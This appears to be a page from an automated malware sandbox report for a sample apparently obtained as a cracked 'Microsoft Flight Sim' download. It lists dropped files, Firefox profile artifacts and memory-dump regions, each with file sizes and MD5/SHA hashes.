937326fead5fd401f6cca9118bd9ade9

SHA1
4526a57d4ae14ed29b37632c72aef3c408189d91

SHA256
68a03f075db104f84afdd8fca45a7e4bff7b55dc1a2a24272b3abe16d8759c81

SHA512
b232f6cf3f88adb346281167ac714c4c4c7aac15175087c336911946d12d63d3a3a458e06b298b41a7ec582ef09fe238da3a3166ff89c450117228f7485c22d2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
6KB

MD5
945729462eb2703837d7b00d685afccc

SHA1
392bc0fb68fb6971b66c48d2a59eddc69bb92abd

SHA256
4571fce5aa52837386d2c9e9bcb46aec5927f49d3dec0eb53afdf16e65de5a3c

SHA512
4e033fb0548c5eaaaaa17cdd12ce47f5facc1e131c6cac6d04f1c68bc80cdab450a966b593dea6e722e0b19b5ff0033c48ff1d24043da93a9e1cd662fc398605

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
6KB

MD5
293a8209fe2c9dfddf0bc3f913ddf5c2

SHA1
4285133c755582acc527f35016766da11b0c917d

SHA256
b6fe9a6474ab8831d53ee17a9bfb571835af3289827ead35b87f81e0fb61e322

SHA512
280f5e90a2bd826cbbbfabe5336df19eede20d5743e42ad1b951b3d468f3aae22bb932f6565d04a4c4ca0ab1acc5f9ba6640165057bf2a82ea0b5602098878be

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
6KB

MD5
df61a045d712ffd4b8f7dd7a284f004c

SHA1
ca9c920767f8c19be4182ba339aaff7c3902ada7

SHA256
dd463a66d26d7059d1f4323b72ad78203a10b9190b40f912053e17a41fdce265

SHA512
45ea2dc2631ede2094411aaf7321624ced7680ba4ab7b269b1ad102eb8959b3eac79727c2ed360e45e7147fa15652844b4b757418025489130efc934780a5551

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
6KB

MD5
25e816ccce9f48724466ea3aae6eca78

SHA1
db56e48e9a510afa74ea80d7468cd1f15b86d714

SHA256
c06e43685415447a60c305697a4c738ca1f9fdbc7e44a9ebd9bad0aa197e15f4

SHA512
d01b03935b4d176e9f2339b732d552d2e79484f2a4295ce01c9c997eb5d2050512aa4519b12ecf8d30a42b3f6254d41523907dfd3941d6bdfed1759334af204f

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
7KB

MD5
a8f3eef694737522c93686872628d356

SHA1
fd3d84a8f8430ab2bd6ef64ec03a42e0529f6de0

SHA256
2b7c10a25acc868b228301c6d3f8386d778951aeb8f46b6d45bfc5be77a11f5c

SHA512
8ae9ecbdb9d9f09f8d430ec151c3d44e6c2043a91779b619cf78e332ec5a333ef38376b0daab11aa2d833045df4408479b612afca7ded22150c9118829324d96

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
8KB

MD5
b0bf3a5ff9d4d2c5bb68140359385ce8

SHA1
de8b373705420d942f34a895aadc43b28e390b09

SHA256
dec0a56aacf69f7bb6872625ed7e5d9b8fc45b2157a3b2e30e483f69c7fc059f

SHA512
105b3688f40dec482a233cfaf8e833e32832d3661006190623c4478665cf6b628e90728154d58d2e67416a20d7682cfe9147846c1cd0003ca4e6d4b09905ac47

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
10KB

MD5
aa9d177961ce98deaf76057289d307fb

SHA1
f47cdaa259ffa3130846e85a5581323724486f30

SHA256
ebcc73d0d31e9499a3ea955f8d097148e6e6a6c5fefab03f0c63836ecf9a635e

SHA512
9860357c7c6f42976847b1696ba8ca01e44e5c51f0909758e1786222e16702dca0ef0ae252ac0df490535afa7077eecf905366b01a0c4da94103d6d84066dffb

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
10KB

MD5
2748c2a9bb0b91a27f5c69e3687dc580

SHA1
2e315b51b07bb680dd9181abab40f21505575c6c

SHA256
fabd73b5dcd8a654d80c71d846c21943b8d5469b74766d08280c69f61a87db6e

SHA512
da749f1bed1b80f6e577edb8dc87c20ec2e8d5ee1c80f7f36c090c9b42a3438e7769b2c96f8e54743e4f44965f30afd795318d73b17ea8f27a6d4b9a192f173d

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs-1.js

Filesize
7KB

MD5
b81240e0f904a0f2e38fa873783e3a38

SHA1
744322c8bf93a0305e708aa48daa6f475db34393

SHA256
f168388c31c488ff6e1fce7d672402126b512f4373de5088ac7327477e7b2d7d

SHA512
2d706cedeea975453759546cc8a2dd80e7e24448e9c70c635e3fb5327fa230663b19ad4189c3eea0ee98e958b8090a91974d570947ab211ab10e006811a9faba

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\prefs.js

Filesize
6KB

MD5
9971fa8fa89a208685d3e30835832fb5

SHA1
5d9972a3bdbd4c18b3648597d2fd9f9fd6e30300

SHA256
13417a67a65fecc73ad5acc94d17d8a6fac3b0a343daf12d1cd2d126b9198084

SHA512
02b107e0d9449fa2d4d3655a880fbdeea4477205fa6c21aaf641c3d358353aa437cf040ec842107f973253bef767e48b9a0267dea5ed2d331aa192ef540e3b1f

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
a54d669911d4319c7afb9c0854ad615e

SHA1
9cb2ac9a96893bf509e7ae68d2c2b891feb6a315

SHA256
719b23efc24b38da82ca9fe1215f2aeb4fc2e04e64478863cf725660bcfb0dc6

SHA512
f5a85d410e09a77279827751978368ffaa82328d567907b210d0174108960ada64271547730fb10aec612e02fcff5845bdea956f6fe1dbfcabbcd5aaac5aa12c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
1KB

MD5
9f909b34ad8e4ef7e28031c0f68b174f

SHA1
16cc26fee06b7718f0b87f9918f03f586c43ae0d

SHA256
f0f7b340dca59380635cc0321f33c449ea3b166ae872fd2fba13ea58c4fe86ed

SHA512
24e216d828e363f4f663b6866b18277b03678034b5145b1b29ed68b0cbadc479426f103f48dad4441bc61466787975b47c16475ea85cb730f713d75ff4d10ccd

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\storage\default\https+++www.reddit.com\cache\morgue\113\{051b9aae-5914-4c50-a4b3-2e80ddd03f71}.final

Filesize
3KB

MD5
3bb4a1da4f5540f331ab94001255b437

SHA1
65c532d38655a2889c0b0a62005e2d2ba871e8a4

SHA256
e4a0e7412a33b9f02806e18940eafeb5e45131eee18f78b0068292be5a6e55be

SHA512
fefc7c48726c9a2253af8274f588697bc60e18a05d8b08bf8424cfdbb3c702b7fa96ba29776baf2560da5c1bfb5f1bcb5c19e5a72d15ad5533b8f69a0078e8c5

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\jesyn8dv.default-release\storage\default\https+++www.youtube.com^partitionKey=%28https%2Ccrackgods.com%29\idb\2171031483YattIedMb.sqlite

Filesize
48KB

MD5
59aecefe638a37418dfd6ba1216250c4

SHA1
8d0031dc1506f7621b3502ea802134c1411e3f6f

SHA256
d1d6697ca7a4d9d732e8c289bd799cc038e01888e3e4326de6a6c13b24b60f39

SHA512
32ea485fe18a9bb3fb19ccc6623cb34ea050bef2b127adb5fc130092bbb80a0591f2492751211eb409ec43547c17044e432d05236ce856bd6ecea6537345fedc

Download Submit
C:\Users\Admin\Downloads\Microsoft-Flight-Sim_3Id1M4Xh.GUW02oAK.zip.part

Filesize
8.8MB

MD5
8de8e8a52984257734ca1f7d70426706

SHA1
9d62ea665bbf67a6c9e3609c8c77f0798ba49170

SHA256
28fd86747a8d2a9e4e553906edaee436d79c16b52a44f1ce228c79c0ce71645f

SHA512
2d8e1d81c715ed4f11ab96568a88717d3cfb9147d0bec51e8c4b528b31f3f8600923b0b27169c64be31013064823d75dfaf700f02a4a9edcd0b1073a4ea9a83d

Download Submit
\??\pipe\LOCAL\crashpad_1080_JXGIJUBYJZNNMFCU

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/8-1588-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/8-1711-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/320-4600-0x0000000000610000-0x0000000000611000-memory.dmp

Filesize
4KB

Download
memory/320-4860-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/748-4573-0x0000000000400000-0x000000000128C000-memory.dmp

Filesize
14.5MB

Download
memory/748-4558-0x0000000000400000-0x000000000128C000-memory.dmp

Filesize
14.5MB

Download
memory/1032-4848-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/1032-4557-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/1032-4866-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/1480-5609-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/1480-5597-0x00000000041F0000-0x00000000041F1000-memory.dmp

Filesize
4KB

Download
memory/1480-5581-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/2072-5949-0x0000000003450000-0x0000000003460000-memory.dmp

Filesize
64KB

Download
memory/2072-5950-0x0000000003450000-0x0000000003460000-memory.dmp

Filesize
64KB

Download
memory/2440-4790-0x0000000000600000-0x0000000000601000-memory.dmp

Filesize
4KB

Download
memory/2440-4849-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/3092-1722-0x0000000000400000-0x00000000004B4000-memory.dmp

Filesize
720KB

Download
memory/3092-1618-0x0000000000690000-0x0000000000691000-memory.dmp

Filesize
4KB

Download
memory/3092-1818-0x0000000000400000-0x00000000004B4000-memory.dmp

Filesize
720KB

Download
memory/3196-4925-0x0000026F23710000-0x0000026F23732000-memory.dmp

Filesize
136KB

Download
memory/3196-4923-0x0000026F3B8A0000-0x0000026F3B8B0000-memory.dmp

Filesize
64KB

Download
memory/3196-4971-0x0000026F3B8A0000-0x0000026F3B8B0000-memory.dmp

Filesize
64KB

Download
memory/3196-4924-0x0000026F3B8A0000-0x0000026F3B8B0000-memory.dmp

Filesize
64KB

Download
memory/3740-4696-0x0000000000400000-0x000000000128C000-memory.dmp

Filesize
14.5MB

Download
memory/3812-4784-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/3812-4481-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/5308-1746-0x00000000040B0000-0x00000000040B1000-memory.dmp

Filesize
4KB

Download
memory/5308-1826-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5308-4733-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5308-1852-0x00000000040B0000-0x00000000040B1000-memory.dmp

Filesize
4KB

Download
memory/5308-2701-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5308-1934-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5308-3391-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5308-1830-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5308-4917-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5308-4453-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5308-4165-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5372-6021-0x000002177F980000-0x000002177F990000-memory.dmp

Filesize
64KB

Download
memory/5372-6020-0x000002177F980000-0x000002177F990000-memory.dmp

Filesize
64KB

Download
memory/5372-6019-0x000002177F980000-0x000002177F990000-memory.dmp

Filesize
64KB

Download
memory/5412-4838-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/5412-4515-0x0000000000650000-0x0000000000651000-memory.dmp

Filesize
4KB

Download
memory/5532-1723-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5532-1657-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5532-1651-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/5532-1668-0x00000000040B0000-0x00000000040B1000-memory.dmp

Filesize
4KB

Download
memory/5832-5876-0x0000000003970000-0x0000000003F98000-memory.dmp

Filesize
6.2MB

Download
memory/5832-5893-0x0000000003660000-0x0000000003682000-memory.dmp

Filesize
136KB

Download
memory/5832-5894-0x0000000003900000-0x0000000003966000-memory.dmp

Filesize
408KB

Download
memory/5832-5895-0x00000000040D0000-0x0000000004136000-memory.dmp

Filesize
408KB

Download
memory/5832-5921-0x00000000046F0000-0x000000000470E000-memory.dmp

Filesize
120KB

Download
memory/5832-5862-0x0000000000E20000-0x0000000000E56000-memory.dmp

Filesize
216KB

Download
memory/5832-5874-0x0000000000FE0000-0x0000000000FF0000-memory.dmp

Filesize
64KB

Download
memory/5832-5875-0x0000000000FE0000-0x0000000000FF0000-memory.dmp

Filesize
64KB

Download
memory/5996-4840-0x0000000000400000-0x0000000001510000-memory.dmp

Filesize
17.1MB

Download
memory/5996-4716-0x0000000000400000-0x0000000001510000-memory.dmp

Filesize
17.1MB

Download
memory/6192-5566-0x0000000000400000-0x00000000016BE000-memory.dmp

Filesize
18.7MB

Download
memory/6192-5537-0x00000000040B0000-0x00000000040B1000-memory.dmp

Filesize
4KB

Download
memory/6212-5493-0x0000000000580000-0x0000000000581000-memory.dmp

Filesize
4KB

Download
memory/6512-4859-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/6512-4744-0x0000000000400000-0x0000000000413000-memory.dmp

Filesize
76KB

Download
memory/6720-4579-0x0000000010000000-0x0000000011F26000-memory.dmp

Filesize
31.1MB

Download
memory/6904-4832-0x0000000000400000-0x0000000001096000-memory.dmp

Filesize
12.6MB

Download
memory/6904-4842-0x0000000000400000-0x0000000001096000-memory.dmp

Filesize
12.6MB

Download